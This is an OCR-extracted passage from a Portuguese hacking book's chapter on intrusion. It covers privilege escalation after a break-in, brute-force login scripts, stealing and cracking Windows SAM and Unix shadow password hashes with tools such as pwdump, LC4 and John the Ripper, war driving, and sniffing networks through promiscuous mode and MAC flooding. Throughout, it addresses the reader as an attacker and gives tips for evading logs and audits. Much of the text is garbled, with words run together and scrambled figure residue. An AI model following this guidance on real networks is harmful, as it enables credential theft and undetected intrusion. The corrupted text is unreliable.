desuperusuáriopararodar.Normalmente,instala-sea aplicaçãoemumdiretórioquepossuiumacópiado sistemadearquivosdo sistemaoper.acional,masnãoé o sistemadearquivosverdadeiro.Nesseambiente falso,aaplicaçãorodacompseudo-direitosderoot,quesó valemdentrodoambiente.Aaplicaçãoficafeliz emserenganadaerodaperfeitamente.Seumhackerinvadiressamáquinapor meiodeumbufferoverflow daaplicaçãoemchroot,vaiconseguir,no máximo,o mesmosuperusuáriofalsoquea aplicaçãousa. 2621 Ataque,defesae contra-ataque: Invasão r
  • Universidade3°ano Ganhandoacessoa outrascontas Youknow thedaydestroysthenight/ Nightdividestheday/ Triedto run, triedtohide/ Breakon throughto theotherside5 Atéagora,invadimosumaúnicamáquina.Ok, vocêpodeterinvadidodiver- sas,masmesmoque"Owne"dezou quinzedelasaindanãopesquisoucomoa redeaoredorfunciona.Oupior:vocêconseguiuumshellrestritoe nãoconse- guefazermuitascoisas!Encontramosdoisexemplosclássicosnaspáginasan- teriores:o servidorWebApache(querodaemusuárionobody)e aplicações rodandoemchroot. Tomemoso Apache:vocêaplicouumexploitnelee conseguiuum shell.Só que,nesseshell,o usuárioqueestálogadoé o nobody- umusuárioespecial criadojustamenteparanãodarpoderesespeciaisapotenciaisinvasores.Como o Apachenãoprecisade poderesespeciaispararodar,apenasacessoa seus própriosarquivos,tudocorreàsmilmaravilhas.Umscriptkid entraporbuffer overflow,temacessoa umshelldonobody,pode,talvez,sobrescreverumaou outrapáginaHTML - e só!Nãotemacessoà rede,nãotempoderesde root, nãopossuisequerumdiretório!home... No Windows(NT e 2000),apesarde sermaisfreqüenteos administradores instalaremprogramasservidoresnos gruposSystemou Administrator,tam- bémé práticarecomendadade segurançadeixartaisprogramascomo míni- mopossíveldedireitossobreo sistema. Nessecenário,invadimosa máquinamasnãotemos,ainda,muitopoderso- bre ela.É hora,pois,de tentarconseguir,de algumaforma,acessoa outras contase, sepossível,aosuperusuário. A primeiraformaé a quevimosnaspáginasanteriores.Todo usuáriotem acessoa diversosprogramasemsuamáquinanormal.NumamáquinaUnix temosdiversosscripts,programasdetodosostamanhoscomofetchmail,MySQL, Informix,Oracle,sendmail,login,telnet,popd,inetd...Maispertodo usuário final,ainda,temoso servidorgráficoX Windows,os ambientesKDE,Gnome, CDE,WindowMaker(etcetcetc)e aplicativosassociados.Temosaindaospró- prios configuradoresdo sistema,como Linuxconf no Linux, Smitno AIX, Admintoolno Solaris,SAMno HP-UX...Cadaum delescommaiorou menor graudedireitossobreo sistema."Exploitar"qualquerumdosprogramasdeste parágrafopodelevaraorootoua,pelomenos,umusuáriocommaisdireitos. Umaúltimadica:leiaatentamenteaspáginasde manualdoscomandossu e sudo e doarquivo/etc/sudoers.Vocêtalvezacheinteressante.(Rê hêhê...) NoWindowsnãoénadadiferente.IIS,subsistemadesegurançaelogin,Access, Word,Excel,Powerpoint(é triste,masjáencontramosservidorescomo Office 5. "Quandoo dia destrói a noite / a noite divide o dia / tentei correr,tentei me esconder/ masagoraatraves- so para o outro lado".Break on through [to the other sidej. Do álbum The Doors, de 1967. 12631 IAtaque, defesa e contra-ataque: Invasão
  • IUniversidadeH4CK3RI instalado...),MS SQLServer,CGls diversos...Todoselespodemserexplorados paraoferecermaiscontrole.Atéquesechegaemalgumusuárioou programa que dá acessoà linhade comandoscom os privilégiosdo grupoSystem(o "root"doWindowNT).A dica,nestecaso,ficapor contadeexploitssucessivos (paraganharcadavezmaispoder)emdireçãoaalgumaDLLdopróprioKernel. Sevocêleuo capítulosobrePlataformasWindows,aprendeuqueváriaspartes do kernelrodamemUserMode.Algumas,mesmoassim,rodamcomprivilégi- os dogrupoSystem.2+2... Emborasejaefetivoe fácil,dependerdeexploitspodedeixá-Io"namão"em sistemasbemconfiguradose,principalmente,atualizados.Há,entretanto,for- masalternativasdeganharacessoa outrascontas.A quebradesenhasé,segu- ramente,a maisusada. Métodosparadescobrirusuáriose senhas No capítulo7 (Vulnerabilidadesl) vimosdiversasmaneirasde quebraras senhasdo sistema.Vamosrelembraralgumas: 1. Loginsfracos:Duplasusuário/senhacompalavrasfacilmenteencontráveis no dicionárioou pior,quepossamserdescobertaspor engenhariasocial- são brinquedonamãodehackersexperientes.Listasdepalavrase aplicativosque tentamcombinaçõesbaseadasemdicionáriosexistemàspencaspor aí. 2. BruteForce:seosloginsnãosãoassimtãofracos,háaindaapossibilida- de de direcionarum ataque"burro",quetestaas combinaçõespossíveisde letras,númerose símbolosdo tecladoatéencontrarumaoumaisduplasusuá- rio/senhaqueentrem. 3. Roubo e decifragemdos arquivosde senhas:se o hackerconseguir obterumacópiadosarquivosde senhas(SAMdatabasesnoWindows,/etc/ passwde /etc/shadowno Unix) estádentro!Bastausarasferramentasconhe- cidasparatal(comoo LophtCrackparaWindowsou o John theRipperpara Unix) e pronto!Todasassenhasdo sistemaestãono papo,incluindoasdo AdministradordoWindowse do rootno Unix. Antesdetentardescobrirparesdeloginse senhas,vamosverumexemplode ataquepor dicionárioe bruteforce.Observeumacoisa:já estamosdentroda máquina,portantonossoscriptnãovaimaisenviarumasolicitaçãode login via rede.Podemosusaros procedimentosde login locaisdo próprio sistema operacionalparatentarmudardeusuário.Novamente,umpoucodeengenha- riasocial,sepossível,sempreajuda. Apesarde serpossívelusarprogramasprontosparatal,comointernamente cadacasoé umcasoo melhorcaminhoéfazerumscript(emshellnoUnix ou emWSEouVBA noWindows)quetesteseqüencialmentetodaa sualistade palavrasemtodasascombinaçõesde loginse senhapossíveis.Elaboraras listascomosnomesobtidospor engenhariasocialé umaboaprática. Um scriptquefizesseissodeveriatera seguinteestrutura: 2641 Ataque,defesae contra-ataque:Invasão[
  • Universidade3°ano 1. Pegaa próximapalavrado arquivode dicionário; 2. Insereessenomeno programade logindo sistema; 3. Pegaa primeirapalavrado arquivode dicionário; 4. Inserecomosenhano programade logindo sistema; 5. Pegaa próximapalavrado arquivode dicionário; 6. Inserecomosenhano programadelogindo sistema; 7. Voltaaopasso5 atéquetodasaspalavrastenhassidousadas; 8. Voltaaopasso1 atéquetodasaspalavrastenhassidousadas. É fácil implementarisso,por exemplo,com os programaslogin ou su do Unix emumshellscript.Masháumproblema:VOCÊESTÁSENDOVlGIADO!!! Todasastentativasmalsucedidasde loginestarãosendoregistradasnos logs dosistema.Comovocêaindanãotemprivilégiosderoot,seriaimpossívelapa- gartaisrastros.Esta,portanto,nãoé a melhormaneirade tentarentrar.Há uma,entretanto,fantasticamentesimplese muitomaissegura:o roubodo ar- quivodesenhase posteriordecifragemdoshashes. É imperativonãoserdescoberto.Portanto,ametodologiausadapelamaioria doscrackersé obtero arquivodesenhasdosistemaetentarquebrá-Ias,off1ine, emcasa.Pode-seusardiversoscomputadoresligadosem c1usters- é muito fácilfazeremcasa,comUnux,supercomputadorescomcincoou seis486se mesmo386sobtidosdo lixo - e os programasquebradoresde senhasjá cita- dos - LOphtCracke John theRipper.UmaúnicamáquinarodandoWindows NT como LOphtCrackjáé algoconsiderável:mesmoquedemoreumou dois mesesparaconseguiralgumasenhausável,tempoé o queo hackermaistem. E, trabalhandoemcasa,o seutrabalhonãoserádetectável. Quebrandosenhasno Windows A sistemáticaé simples.Deve-se: 1. Roubaro arquivodesenhase levarpracasa; 2. Passaro arquivode senhasno programaquebrador; 3. Testarassenhasrecuperadasno sistemaoriginalpraver seos usuários nãoasalteraram. Comoexemploprático,vamosusarumdescendentedoantigoLOphtCrack,o LC4, atualmente distribuído pela empresa de segurança @Stake (www.atstake.com).Criadoporhackerscomoprovadeconceitoparademons- trarasfragilidadesdoshashesdoWindowsNT,o softwarechegouatéaversão 2.5aindacomo códigofonteaberto.No finaldadécadade90osdireitossobre o softwareforamtransferidosà atualproprietária,e o LOphtCrack2.5 foi relançadocomoLC3.O LC4 é,portanto,umaevoluçãodiretado LOphtCrack 2.5.O softwareé hojevendidoa umpreçodeUS$350,00por licença,masé possívelfazerdownloaddeumaversãodeavaliaçãoválidapor 15dias- comas rotinasdebrute-forcedesabilitadas.No site,a @Stakeoferece,gratuitamentee comcódigofonte,aversão1.5doLOphtCrack- aindaemlinhadecomando. 1265I ]Ataque,defesae contra-ataque:Invasão
  • I Universidade H4CK3R I Parao passo1,devemosde algumaforma"chupar"os hashesdosusuários contidosno bancode dadosSAM, normalmenteguardadono registroem HKEY_LOCAL_MACHINE\SECURlTY\SAM\Domains\Account\Users(achou quenãoíamosdizera chave?).Paratanto,podemosusarumutilitáriodo pró- prio LC4,chamadopwdump. Outroprogramaqueroubaassenhasdo SAMé o pwdump3.Originalmente desenvolvidoporJeremyAllisonandToddSabin,hojeé mantidopor umaem- presa,a PoliVec.Embutidoem seuprodutomultiusode segurançaPoliVec Scanner,o pwdump3(www.polivec.com/pwdump3.html)permitequeasse- nhassejamrecuperadasinclusiveremotamente,pelarede(incluindoaInternet). Umaterceiraopçãoé um utilitárioqueacompanhao pacotede servidores 5MBparaUnix,o Samba(www.samba.org).Juntocomo produtoestáincluído um programinhachamado(olhaqueoriginal...)pwdump,queextraio SAM databasee o transformaemum arquivode senhasdo Samba(smbpasswd) válido.Maisinformaçõessobreelepodemserobtidasemus1.samba.org/sam- ba/ftp/pwdump/. Nostrêscasos,gera-searquivosdesenhasqueo LC4podeinterpretar.Nostrês casos,também,precisa-sedeprivilégiosdeAdministradorpararodaro progra- ma.Esseobstáculo,apesardecomplicado,aindaassimécontornável.Hádiversas maneirasdefazê-Io:rodandoo programanamáquinaalvoatravésdeumexploit, rodandoo programaemumamáquinadesenhasfracascomrelaçõesdeconfian- çacomamáquinaalvo,fazendoinvasãofísicano localondeamáquinaestá... Umavezconseguidoo arquivodesenhas,passemosaopasso2.Desconecte- se completamentedaredea serinvadidae rode,emcasa,o LC4 contraseu arquivo.Háumafartadocumentaçãoincluídacomo próprioproduto,portan- tonãovamosdetalhá-IoaquLAfiguraaseguirmostraumprocessodecracking emandamento,comalgumassenhasjá descobertas: - OdOhOrn.. G.om , iIomIh .......-. ,,,..--.- "-y"mmnmm?RGS3 1'rl??1/>._r 'AS"A"""'''' "'''''''''- " !,,,.."u.. mmJ~ bobofett OdOhlm1o!< , "-" "'- 0.1""...... 2661 Ataque,defesaecontra-ataque:Invasão[
  • Universidade3°ano Observe:comovimosnoscapítulossobreVulnerabilidades,ascontasnoWinNT sãoguardadasem2hashes:umparao antigoLanManagere outrocomasenha maisfortedo NT.Alémdo 1M Hashsermaisfácildequebrar,normalmenteos usuáriosusamamesmasenhalocalmente(NTLM).O próprioLc4 sabedissoe, umavezconseguidaa senhaLM, interrompeo bruteforcee tentaa mesma senhano NT.Comovocêpodevernafigura,váriassenhasjáestãodescobertas e,no exemplo,TODASsãoiguaisnosdoiscampos.O usuárioshennesyparece gostardo seriadoStarTrecke o usuáriodjattanparecenãoestarmuitoconten- te comseulocalde trabalho- comumpoucodeengenhariasocial,o hacker nemprecisariado Lc4. O usuárioGuestnãopossuisenha(glup!). A figuraanteriorfoi retiradadeumestudodeDanSmith,naUniversidadeda Carolinado Norte,EUA,e podeserencontradoem www.unc.edu/-smithdr/ inls187/sr.htm1.O estudo,alémdeanalisaro software,trazdadossobretempo paraquebrarsenhasdetodosostipos,fracasou teoricamenteseguras. Por último(passo3),testetodasassenhasqueconseguiuno sistemainvadi- do.É possívelquealgumasestejamtrocadas,masvocêjá sabe,pelomenos,o nomedosusuáriosválidose o padrãoqueelesusamparaelaborarsuassenhas. Porexemplo,acontaAdministratormostradapossuíaumasenhaBARNABAS09. As chancesestãoentre80%e 90%de que,nos próximosmeses,ela seja BARNABASlO,BARNABASll...Achoqueo leitorjá"pescou"o mecanismo! Quebrandosenhasno Unix Vocêachaquea sistemáticamudou?Nadadisso: 1. Roubaro arquivodesenhase levarpracasa; 2. Passaro arquivode senhasno programaquebrador; 3. Testarassenhasrecuperadasnosistemaoriginalpraverseo usuárionãoaalterou. Há diversosprogramaspara Unix que descobremsenhasem arquivos criptografados.O maisconhecidocertamenteé oJohn theRipper.Usá-Ioé tão fácilquedáraiva.Umavezinstaladoe configurado,basta"alimentá-Io"como arquivodesenhase deixarqueelefaçao serviço.A sintaxeé simples: $ john arquivo_senhas Nopasso1temososmesmoproblemasquetivemoscomoWmdows.Comovimos nocapítulosobrePlataformasUnix,ossistemasmodernosutilizamo sombreamento de senhas,que consisteemsepararo processode login em dois arquivos: o /etc/passwd(quecontéminformaçõesgeraissobreo usuário,comonome,login, GID,UID,diretório;homee shellinicial)e o /etc/shadow(quecontémassenhas criptografadas).Comoo/etc/passwdtemqueserlegívelportodos,oshashesficari- amdesprotegidosseficassemaí.O arquivo/etc/shadow,ao contrário,é legívele editávelapenasetãosomentepelosuperusuário,o root.Seo sistemainvadidopos- suirsombreamentodesenhas,vocêsóconseguirároubaro arquivo/etc/shadowse estiveremumshellroot.Seo sistemainvadidonãopossuirsombreamento,o"admi- nistrador"jádeixoumetadedoserviçoprontoparavocê...6 6. Mesmoqueo sistemapossuapasswordshadowing,vocêaindateráosnomesválidosde contas. I 267I IAtaque, defesa e contra-ataque: Invasão
  • IUniversidadeH4CK3RI Encontrareaplicarumexploitquelhedêacessoarooté aformamaisdireta paraconseguiro arquivode shadow.Outrasformasincluem: 1. FazercoredumpsdeprogramasSUlDrootqueacessemassenhas(como o FTp'o SSHouoTelnet); 2. Verificarno arquivopasswdqualdosusuáriostêm"pinta"dead mistrador- é possívelqueelepossuaprogramasSUlDemseu!home. Umavezdescobertaa senha,chegamosaopasso2. Bastarodaro ]ohn the Riperde acordocomo configuradoe esperar.No final,umalistade senhas válidas(possivelmenteadoroottambém)seráencontrada.O passo3 é trivial: volteà cenado crimee useassenhas.Nadacomologar-secomoumusuário autorizadoparadespistarasauditoriasde invasão... Ganhandoacessoe destruindoa rede Umavezdentrodarede,hádiversasaçõespossíveisdesertomadas.Estandoem possedeumamáquina,podesermaisfácilinvadiroutras.Masnemsóde"Ownar" viveumcracker.Épossível,porexemplo,usararedecomotrampolimparaoutras redesmaiores.Ou capturarsenhasdosusuáriosemserviçoesexternos- como senhasdebancosou númerosdo cartãodecrédito.Ou aindadesviaro tráfego paraqueosusuáriossejamencaminhadosparaarmadilhasou sitesfalsos. Apresentaremosnestaseçãoapenasdescriçõesresumidasdessestiposde ataques,comindicaçõesparasitescommaisinformações. War Driving e War Chalking Umadasmaisnovasformasdeinvasãocorporativaé oWarDriving.Hackers saempelasruasdacidadecomgambiarrasfeitasde latasdebatatafrita,arru- elase algunscabos,e capturamconexõesderedewirelessqueestejam"vazan- do".Comoascorporaçõesnãocostumamcriptografarsuasconexõesinternas, umaconexãowirelessdessetipoforneceumacessoilimitado,similaraocon- seguidoseo invasorentrarandandopelaportadafrentee plugarumcabodo seulaptopemumatomadaderededaempresa. O assuntoérelativamentenovoemereceumestudomuitomaisprofundodo queo queseriapermitidonestelivro.Aliás,serianecessárioum livro inteiro sobreisso.Umaexcelentefontede informaçõese recursos(tutoriais,equipa- mentos, esquemasde antena - inclusive feitas em casa) é o site www:wardriving.com.Um esquemasimplesde antena,construídocom o já lendário tubo de batatas fritas Pringles, pode ser encontrado em www.oreillynet.com/cs/weblog/view/wlg/448. Hackerseuropeusforammaislongee criaramoWarChalking- umalfabeto especialparamarcar,comgiz e na calçada,os pontosde acesso(posiçãoe orientaçãodaantena)paraumamelhorconexãoà redealheia.Saibamaisso- bre astécnicasusadasno siteoficial:www.warchalking.org(ou,alternativa- mente,www.warchalking.us).Essesitetrazinformaçõestécnicas,tutoriais,clu-12681 Ataque,defesaecontra-ataque:Invasão[
  • Universidade3°ano bese muitoslinksparaoutrosrecursos.O sitewww.blackbeltjones.comtam- bémtemdiversosrecursos.Umartigosobreo assuntopodeserencontradona Mecado wireless,o site802.11Planet(www.80211-planet.com/columns/ artic1e.php/140240n. . IndoalémdoSQl Injection... Emnossosegundoestudosobrevulnerabilidades,vimosmaneirassimplesde enganaro scriptdapágina(sejaemASp'PHp,ColdFusionou algumCGI) e injetarnelamodificaçõesnaquerySQL associada.Mashá outrasmaneirasde brincarcomsistemasbaseadosemWeb. A primeirae maisimediataé observare manipularos dadosdaprópriaURL. Muitossistemason-linecarregaminformaçõesvaliosasemcampospresentesde- poisdoendereçoHTfP (tarefaparacasa:pesquisarsobreosmétodosHTMLGEf ePOS1).PentearumaURLgrandetentandoentendercomoo sistemafuncionaéo primeiropassoparaentraremtalsistema.Bancos,sitesdecomprasemesmosites governamentaisutilizama URLcomotransportededadosdo clientesemseim- portarcomo fatodesereminformaçõesvisíveispor qualquerumnarede. Um exemplonotóriodissoforamasvulnerabilidadesencontradasháalguns anosno Hotmail(www.hotmail.com).em que os identificadoresde sessão, nomesdeusuárioehashesdassenhasestavampresentesnaprópriaURL.Hoje o Hotmailjánãopadecemaisdessemal,maspor muitosanosfoi umabrecha extremamentefácilde explorar. PresteatençãoaindaemsitesqueusamchamadasODBCe nãoSQL.Sistemas 100%Microsofttendema privilegiaro inseguroprotocoloODBCparaacesso abancosdedadosAccesse SQL-Server. AlgunslinksparapesquisasobreSQLInjection: ~ www.securiteam.com/securityreviews/5DPONlP76E.html ~ online.securityfocus.com/infocus/1644 ~ www.sqlsecurity.com/DesktopDefault.aspx?tabindex=2&tabid=~ ~ www.nextgenss.com/papers/advancedsql injection.pdf ~ www.spidynamics.com/papers/SQLIniectionWhitePaper.pdf Outrométodoé o cooldepoisoning,umamaneiradetorcera autenticação viaW eb.Quasea totalidadedossiteshojeemdiautilizam-sedecookiespara controlaracessoe sessão.AlterarUserIDe SessionIDemcookiespodeserum atalhoparaentraremcontasdeoutrosusuários. É maisdifícilencontrarrecursossobrecookiepoisoningnaInternet.Sugeri- mosos seguintesrecursos: ~White paper: Hacking web applications using cookie poisoning (www.allasso.pt/base/docs/11042206054.pdO. ~BuscapelapalavrachavecookienoSecurityFocus(www.securityfocus.com). 1269I I Ataque,defesae contra-ataque:Invasão
  • IUniversidadeH4CK3RI Dois softwaresquetrabalhamcomoproxybaseadosno desktoppodemser usadosparafacilitara manipulaçãode Cookies(e de cabeçalhosHTTP tam- bém!):sãoeleso Achillese o BrowseGate.A empresaqueproduzo Achilles (DigiZenSecurityGroup - www.digizen-security.com)pareceter retiradoo site do ar,mas descriçõessobre o produto podem ser encontradasno PacketStorm(packetstormsecurity.nl/filedesc/achilles-O-27.zip.html)e no SecuriTeam.com(www.securiteam.com/tools/6LOOR200KA.html). O BrowseGate, desenvolvido pela NetCPlus (www.netcplus.com/ browsegate.htrnl)é outraopçãodeProxyServerquepodeserusadademanei- ra maléficaparatorcercookiese autenticaçãoemsites.Há umaanálisedele emwww.webattack.com/getlbrowsegate.shtml. Paratodososproblemaslistados,possíveissoluçõespodemserencontradas no siteoficialsobresegurançaemsistemasweb:www.owasp.org. Farejandoa rede(Sniffing) Outraformadeganharacessoa umarede,depoisde"Ownar"umadasmá- quinasquea integram,é passara"escutar"o queestátrafegandonessarede. Os programasquefazemessetipo detrabalhosujosãochamadosdesniffers ou farejadores. Um sniffertrabalhana camada2 denossomodelode referênciaOS!.Isso querdizerque é impossívelfazerum sniffingdiretamentevia Internetem umarededistante.É necessárioqueo invasorinstalee rodeo snifferemuma máquinapertencenteà redelocalquesequerfarejar. a objetivomaisimediatodeuminvasorquandoinstalaumsnifferé desco- brir senhasde outrosusuáriosda mesmarede.Deixandoa ferramenta"de campana"por algunsdias,é possívelconseguirsenhasdedezenasdeusuári- osecentenasdeserviços(sites,e-mail,servidores,sistemas...).Comoháservi- ços autorizadosparaalgunsusuáriosem especiale negadosaosoutros,é interessante,à medidaquese vá conseguindosenhas,que instale sniffers em diversas máquinase,comisso,consiga um universomaiordelas. É fácil perceberque,nesse contexto, o invasor vai "Ownando"aospoucosumgran- denúmerodemáquinasdentro darederemota.Comoé uma ferramentadacamada2 e,por- tanto,local,o snifferdeveser instaladoe deixadoemativida- desemqueo invasorinterve- 1270 I Ataque,defesaecontra-ataque:Invasão[
  • Universidade3°ano nha.A ferramentaescutaráaredee gravarátudoo quefor deinteresseemum arquivo.Depoisdealgumtempo(algunsdiasou semanas)o hackervoltaráao localdo crimeapenaspararecuperaro arquivocomo tesouro,o qualanalisa- ráemcasa,desconectado. Há umaformamaisperniciosade usaro sniffer:colocá-Ioemum gateway entreredes.Comovimosnoscapítulospertinentes,umgatewayé umequipa- mentoqueuneduasoumaisredesdiferentesdeformaapassarpacotesentre elasquandoaplicável.Umsniffercolocadonumgatewaypodeescutar,então,o tráfegodetodaselas. Naprática,comoa maioriaesmagadoradosgatewaysligamsuaredeinterna àInternet,o queo invasortemàdisposiçãoé tantoseuconjuntopotencialde senhase informaçõesconfidenciaisquantoos e-mails,senhas,informaçõese cartõesdecréditoqueentrame saemdesuaempresa.Imagine,numcenário aindamaistenebroso,queumhackerplantouumsnifferemumgatewayque ligasuaempresaaoseusitedecomércioeletrônico,ouàoperadoradecartões decrédito,ouaseuparceiro,ouaobanco.Fatal! A primeiraprovidênciaquandosevaifarejarumaredeé colocara interface derededealgumamáquinaemmodopromíscuo.Comovimosnoscapítulos RedesI e11,quandoumpacoteIP chegaemumarede,ainterfacequedetémo pacotepergunta:"qualé o MACAddressquecontémo endereçoIP dessepaco- te"?A máquinadestinorespondecomseuMACAddresse o pacoteé enviadoa ela.Esseé o conhecidoprotocoloARP. "Enviadoa ela",comoescritono parágrafoanterior,é ligeiramentementiro- so (ou,comodiziaumpastorluteranoqueconheci,é um"exagerodaverda- de").O pacoteé,naverdade,jogadono barramentoe todasasinterfacespo- demler.O queocorreé queasinterfacesfazem"ouvidosmoucos"aopacote, casoestenãosejadirecionadoa elas.Apenasa máquinaa que realmentese destina"prestaatenção"aoqueestátrafegandonarede.As outrassimplesmen- te ignoram-no. É aquiqueentrao "modopromíscuo".Umainterfaceconfiguradadessaforma "ouve"TODOSospacotesquetrafegamnarede,enãoapenasosquesãodestinados I 271 I ]Ataque,defesae contra-ataque:Invasão
  • I UniversidadeH4CK3RI aela.Seissoéumfacilitadorparaaimplementaçãodeferramentasdemonitoração derede- coisaquetodoadministradorcompetentedeveriausar- tambémpossibi- litaquealguémcommásintençõesfacilmenteescuteo quenãodevia. Paracolocarumainterfacederedeemmodopromíscuo,deve-seteracesso privilegiadoaosistemaoperacional- o queequivalea dizerroot emumsiste- maUnix,Administrator emum sistemaWinNT ou Admin em um Novell Netware.Por issomesmo,tomarcompletamentepelomenosumamáquinana rede(comovimosanteriormente)é imperativoparaquepossamosfazeruma "colheita"posterior.Há diversasformasde colocarumainterfacederedeem modopromíscuo.Háprogramasespeciaisparaissoemqualquerplataformae mesmoalgunstruquesno sistemaoperacional(sejaeleWindows,Novell,HP- UX...)sãopossíveissemo auxíliode qualquerprogramaexterno. Todo sistemaoperacionalpossuiumaferramentaqualquerque mostrao estadoe alteraasconfiguraçõesdaplacaderede.Tomandocomoexemploum sistemaGNUlLinux,o comandoquefazessetrabalhoparanósé o ifconfig. Emitido(comoroot)semargumentos,o comandomostrao estadodetodasas interfacesde rede.Emitidoseguidodo nomede umainterface,dá o estado atualdessainterface.Por exemplo,parasabera quantasandaa primeira interfacederede(ethO),o comandoseria: # ifconfig ethO o resultadoseria: Encapsulamento do Link: Ethernet Endereço de HW00:08:74:B5:64:95 inet end.: 192.168.1.11 Bcast:192.168.1.255 Masc:255.255.255.0 UP BROADCASTRUNNINGMULTICAST MTU:1500 Métrica:1 RX packets:13567 errors:O dropped:O overruns:1 frame:O TX packets:8300 errors:O dropped:O overruns:O carrier:O co1isões:0 RX bytes:3163776 (3.0 Mb) TX bytes:994079 (970.7 Kb) Observeasinformaçõesmostradas.Vocêsabe,por meiodessecomando,que o encapsulamentodo link(ouseja,o protocolodecamada2)é Ethernet,queo MACé 00-08-74-B5-64-95,queo endereçoderedeé 192.168.1.11,queo tama- nho máximodo pacoteEthernet(MTU) é de 1.500bytes,etc...Há também algunsflagsqueindicamse a interfaceestáprontaou"empé"(DP),se está rodando(RUNNING)e serespondea broadcastou multicast.Agoravejamoso queacontececomo comandoabaixo: # ifconfig ethO promisc Aparentemente,nadaacontece.O shellnosdevolveo prompte nenhuma mensagemdeerrooudetarefaconlcuídaémostrada.Mas,seemitirmosnova- menteo comandoifconfig ethO,o resultadoseriaumpoucodiferente: 12721 Ataque,defesae contra-ataque:Invasão[
  • Universidade3°ano Encapsulamento do Link: Ethernet Endereço de HW00:08:74:B5:64:95 inet end.: 192.168.1.11 Bcast:192.168.1.255 Masc:255.255.255.0 UP BROADCASTRUNNINGPROMISC MULTICAST MTU:1500 Métrica:1 RX packets:13567 errors:O dropped:O overruns:1 frame:O TX packets:8300 errors:O dropped:O overruns:O carrier:O colisões:O RX bytes:3163776 (3.0 Mb) TX bytes:994079 (970.7 Kb) Bingo!Observequeaplacaagoraestáemmodopromíscuo(flagPROMISC). AbsolutamenteTUDO o queestátrafegandonaredeé interpretadopelapilha TCP/lP do kemele pode,portanto,sermonitorado.Isso inclui pacotesnão direcionadosa essamáquina. Sniffing passivo Asredeslocaisnormalmen- teseutilizamdeequipamen- toschamadoshubs(capítulos RedesI e lI) parafacilitare flexibilizaraconexãodeno- vasmáquinasaumaredeexis- tente.O hubageaindacomo umelementoregeneradordo sinal elétricopresenteno barramentoderede.Maso hubé umelementopassivo no tocanteacontroledotrá- fegonaredelocal. Hubs e repetidoressão equipamentosque traba- lhamna camada1 do mo- deloOSI,portantonãotêmcontrolealgumsobreo quadroEthemet(ouqual- queroutroprotocolode camada2 comoTokenRing,PPp,FrameRelayou X.25).Issosignificaqueumamensagemenviadadeumamáquinaparaa ou- traseráouvidapor todasna rede. É fácilperceber,no desenhoacima,queseamáquinaA enviarumamensa- gemparaa C, asestaçõesB,D e H aindaestarão"ouvindo".Portanto,apesar daaparênciade estrela,umaredeque se utilizede um hub parainterligar asmáquinasé, na realidade,um barramento. Concluímosqueé muitofácil paraum snifferregistrare decodificartudo o que trafeganessarede.Comotrabalhacom interfacesemmodopromís- cuo, todosos pacotesda redepodemser interpretados.Mas e se a rede estiversegmentadacom bridgesou switches? 1273I ]Ataque,defesae contra-ataque:Invasão
  • IUniversidadeH4CK3RI No capítulo2 (RedesI) vimosenpassanta descriçãodessesequipamentos. Umabridgedividearedeemdoissegmentose bloqueiatráfegonãodestinado cadaumdeles. Observe:asmáquinasA e B estãonosegmento1,enquantoC e D no segmen- to 2.Isolandoos dois,umabridge.O tráfegodeA paraB e de B paraA fica restritoaosegmento1,e o tráfegodeC paraD e deD paraC ficarestritoao segmento2.A bridgebloqueiao tráfegolocal,nãodeixandoquemensagens nãoendereçadasa umbarramentoemespecialcheguemnele. XI Bridge'X /t::: /t::: BloqueadopelaBridge Entretanto,sea máquinaC querenviarumamensagemparaa máquinaA, a bridgedeixapassaro pacote. Bridge Deixapassar 12741 Ataque,defesaecontra-ataque:Invasão[
  • Universidade3°ano A determinaçãodequaispa- cotesdevempassare quaisde- vemserbloqueadosé dinâmi- ca,baseadanosendereçosMAC dasinterfacesderede.No mo- mentoqueumabridgeéligada, elanãotemnadanamemória. À medidaqueasestaçõesvão enviandopacotesparaarede,a bridgeguardaosMACAdresses~~ ~ --- numa tabela,relacionando-os .. ~ . .como segmentodeondeo pa- ~~.coteseoriginou.Notequetudo ~ sepassanacamada2domodeloOSI:abridgesótemconhecimentodasmáquinas ligadasdiretamenteemsuaredelocal. Imagine,agora,umhubquepossuísseumabridgeemcadaporta.Cadamáquina daredereceberiaapenastráfegodestinadoa si.Esse"monstrengoexistee secha- macomutadorouswitch.Observe:assimcomoemnossoprimeiroexemplo,aesta- çãoAquerenviarumamensagemparaaestaçãoB.Devidoaoswitch,nenhumadas outrasmáquinasiráescutaro queA temadizer.Alémdisso,C poderiafalarcomE simultaneamente,poisaredeestá,paraelas,ociosa. Umaredecomumswitchnolugardeumhub,alémdocontroleediminuição do tráfego,tambémofereceriaumasegurançaadicionalà rede,umavezque umsnifferinstalado,por exemplo,emD nãopoderiaescutarnadadasconver- sasentreA e B ou C e E.O uso de bridgese switches,então,minimizariao problemadossniffers,certo?Infelizmente,maisumavez,a respostaé não... Sniffingativo UmswitchoubridgepossuiumatabelaquerelacionaosMACaddressesque "ouviu"naredecomasportasousegmentosnosquaisforam"ouvidos".Como é preenchidadinamicamente,essatabelaseráatualizadatodavez que uma novamáquinafor conectadaà rede. Comodiziaumparentemeu(ilustre,masiletrado),"tudoo queé demaisé em demazia"(sic).A memóriado switchpossuium tamanholimitado,portantoum númeromuitograndedeinterfacesderedeligadasemcadaumadasportaspode- ria,numcasoextremo,preenchê-Iacompletamente.Pensandonisso,osfabricantes dessesequipamentosasdimensionamparaqueesselimitenuncasejaatingido. O problemaéqueumquadroEthemetnadamaisédoqueumaseqüênciadeuns ezerosquepode,porissomesmo,sermanipulada.Umprogramacuidadosamente escritopoderiagerar,adinfinitum,framesEthemetcomMACadressesaleatórios e,emalgunsminutos,preenchercompletamentea memóriado switch.Comoo shownãopodeparar,essesequipamentospodemcomeçara repassarmensagens indiscriminadamenteparatodasasportas.EssatécnicaéchamadadeMACFlooding. 1275I ]Ataque,defesae contra-ataque:Invasão
  • I UniversidadeH4CK3R I Uma vez nessa situação, qual- quer sniffer poderá farejar a rede. Há ferramentas que fazem isso (uma delas, escrita em PerI, pode ser encontrada em www.safenetworks.com/ Others/~com4.html), mas os sniffers mais modernos (como o ettercap e o dsniff) já fazem todo o trabalho. Felizmente (ou infelizmente, dependendo dos intentos do es- timado leitor), alguns swii:ches são imunes ao MAC Flooding. Há várias maneiras de implementar switches assim. Podem ser usados algoritmos de proteção que impedem que a memória seja completamente preenchida. Ou então um sistema de detecção de flood, baseado em padrões de dados e um knlowledge base dos sniffers conhecidos. Uma terceira maneira seria adotar uma política de persistência, mantendo MACs conhecidos há mais tempo em detrimento de novas interfaces, caso a memória lote. Para contornar esse inconveniente, os hackers desenvolveram uma técnica 